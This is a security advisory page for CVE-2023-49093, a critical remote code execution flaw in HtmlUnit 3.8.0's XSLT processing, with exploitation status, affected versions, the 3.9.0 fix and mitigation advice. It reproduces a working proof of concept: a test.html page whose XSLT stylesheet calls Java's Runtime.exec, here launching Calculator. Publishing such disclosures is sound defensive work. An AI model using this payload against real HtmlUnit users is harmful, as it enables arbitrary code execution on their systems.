CVE-2023-49093 — htmlunit
CRITICALCVE-2023-49093 is a critical-severity (CVSS 9.8) Code Injection vulnerability in org.htmlunit:htmlunit. 1 public exploit or proof-of-concept reference is indexed, so weaponization risk is real. A fix is available for org.htmlunit:htmlunit — see the affected versions and patch details below.
HtmlUnit vulnerable to Remote Code Execution (RCE) via XSTL
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2023-49093.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
org.htmlunit:htmlunitReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
Summary
HtmlUnit 3.8.0 are vulnerable to Remote Code Execution (RCE) via XSTL, when browsing the attacker’s webpage
Details
Vulnerability code location: org.htmlunit.activex.javascript.msxml.XSLProcessor#transform(org.htmlunit.activex.javascript.msxml.XMLDOMNode)
The reason for the vulnerability is that it was not enabled FEATURE_SECURE_PROCESSING for the XSLT processor
PoC
pom.xml:
<dependency>
<groupId>org.htmlunit</groupId>
<artifactId>htmlunit</artifactId>
<version>3.8.0</version>
</dependency>
code:
WebClient webClient = new WebClient(BrowserVersion.INTERNET_EXPLORER);
HtmlPage page = webClient.getPage("http://127.0.0.1:8080/test.html");
System.out.println(page.asNormalizedText());
test.html:
<script>
var xslt = new ActiveXObject("Msxml2.XSLTemplate.6.0");
var xslDoc = new ActiveXObject("Msxml2.FreeThreadedDOMDocument.6.0");
var xslProc;
xslDoc.async = false;
xslDoc.loadXML(`<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
<xsl:template match="/">
<xsl:variable name="rtobject" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtobject,'open -a Calculator')"/>
<xsl:variable name="processString" select="ob:toString($process)"/>
<span><xsl:value-of select="$processString"/></span>
</xsl:template>
</xsl:stylesheet>`)
if (xslDoc.parseError.errorCode != 0) {
var myErr = xslDoc.parseError;
document.write("ParseError: "+myErr.reason);
} else {
xslt.stylesheet = xslDoc;
var xmlDoc = new ActiveXObject("Msxml2.DOMDocument.6.0");
xmlDoc.async = false;
xmlDoc.loadXML("<s></s>");
if (xmlDoc.parseError.errorCode != 0) {
var myErr = xmlDoc.parseError;
document.write("Document error: " + myErr.reason);
} else {
xslProc = xslt.createProcessor();
xslProc.input = xmlDoc;
xslProc.transform();
document.write(xslProc.output);
}
}
</script>
Impact
Remote Code Execution
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | org.htmlunit:htmlunit | all versions | 3.9.0org.htmlunit:htmlunit:3.9.0 |
Affected Products
htmlunithtmlunitResearch use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for org.htmlunit:htmlunit, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update org.htmlunit:htmlunit to 3.9.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2023-49093 is resolved across your whole dependency graph.
Workarounds
Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
Frequently Asked Questions
Is CVE-2023-49093 in your dependencies?
Find it across Maven, including transitive dependencies.